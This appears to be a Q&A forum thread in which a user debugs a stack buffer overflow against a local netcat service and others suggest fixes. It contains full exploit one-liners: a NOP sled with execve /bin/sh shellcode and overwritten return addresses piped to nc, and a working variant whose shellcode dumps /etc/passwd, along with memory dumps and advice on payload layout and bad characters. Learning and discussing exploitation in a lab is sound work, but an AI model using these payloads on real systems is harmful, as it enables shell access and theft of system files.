3

I have a server, for reference: pastebin/ghJX69uH, that I can netcat to and it will ask to input a msg.

I know it is vulnerable to buffer overflow, but I can't seem to get the shellcode to run. I have successfully pointed the return address back to the NOP slide and it hits the /bin/sh but it does not spawn a shell. Here is my code:

echo "`python -c 'print "\x90"*65517 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "\xac\xf3\xfe\xbf"*10 + "\n"'`" | nc 127.0.0.1 1111

It's a simple buffer overflow with [NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]

The first image shows that the return address is bffef3ac which goes to NOP slide, so all is OK! The second image gives SIG FAULT with no shell, nothing happens.

enter image description here enter image description here

Whats going on here? I had a look at ebp and it showed something weird, my \x90 followed by (what should be my shellcode) looks different? Any insights on what could be wrong or how to go about this

0xbffef42c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffef43c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffef44c: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
0xbffef45c: 0xe3896e69  0xbffef468  0x00000000  0x6e69622f
0xbffef46c: 0x68732f2f  0x00000000  0xbffef3ac  0xbffef3ac
0xbffef47c: 0xbffef3ac  0xbffef3ac  0xbffef3ac  0xbffef3ac
0xbffef48c: 0xbffef3ac  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000

Edit 1: Format of code is from numberphile, shellcode is from http://shell-storm.org/shellcode/files/shellcode-827.php, which I ran and spawns a shell. I tried adding padding (I put A's) as suggested between shellcode and return address, but something strange happens:

New code: echo "`python -c 'print "\x90"*65490 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "A"*27 + "\xac\xf4\xfe\xbf" + "\n"'`" | nc 127.0.0.1 1129


0xbffef42c: 0x90909090  0x90909090  0x90909090  0xc0319090
0xbffef43c: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e3
0xbffef44c: 0xcd0bb0e1  0x41414180  0x41414141  0x41414141
0xbffef45c: 0x41414141  0x41414141  0x41414141  0x00000001
0xbffef46c: 0xbffef4ac  0x08049000  0x00000004  0xbffff4a4
0xbffef47c: 0xbffff490  0xbffff48c  0x00000004  0x00000000
0xbffef48c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef4ac: 0x00000000  0x00000000  0x00000000  0x0000000

Edit 2: So I managed to make it print /etc/passwd but I still can't get the shellcode working to spawn a shell!

Works: /etc/passwd

echo "`python -c 'print "\x90"*65478+"\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  +"AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf" + "\n"'`" | nc 127.0.0.1 2010

Doesnt't work: /bin/sh

echo "`python -c 'print "\x90"*65513 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf\x9c" + "\n"'`" | nc 127.0.0.1 3003
| improve this question | |
  • How did you come up with that shell code? I've always been taught to leave a few NOP bytes at the end of the shellcode to allow it to expand. Add 8 or 16 NOPs at the end (if you can) and see if that helps. – DKNUCKLES Mar 20 '17 at 17:24
  • @DKNUCKLES I tried your suggestion of padding with \x90s and then with A's just to see what will happen, please see edit, and It seems to juggle the code around, is this some sort of protection? – user153882 Mar 20 '17 at 18:02
  • It's my understanding that some shells need some space to "expand" before execution, so adding a few bytes to the command will allow that to happen. – DKNUCKLES Mar 20 '17 at 19:19
1

Putting this in the form of an answer to take advantage of extra spacing and formatting. I can't try to replicate your issue right now but here's what I would try.

Anytime I've ever written an exploit for a Buffer Overflow my code would go NOPS + EIP POINTER + NOP BUFFER + SHELLCODE

For example :

buffer = "A" * 2000 + "\x8a\x32\x4e\x4e" + "\x90" * 8 + shellcode

Where "\x8a\x32\x4e\x4e" would be your return address

Secondly, I would suggest testing for bad characters that may cause your exploit to crash. I don't see any of the usual suspects 0x00 0x0A or 0x0D but there may be a character in there that's causing the exploit to fail.

What is the purpose of "\xac\xf3\xfe\xbf"*10 code - I assume this is return address but why are you multiplying it by 10?

| improve this answer | |
  • Is this assuming the buffer is 2000, wouldnt i need to go pass the EIP and "overwrite" the ret address, so `buffer = "A" * 2004 + [ret address] + "\x90" * 8 + shellcode. And im guessing that this ret points to the NOP buffer also? – user153882 Mar 20 '17 at 20:00

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.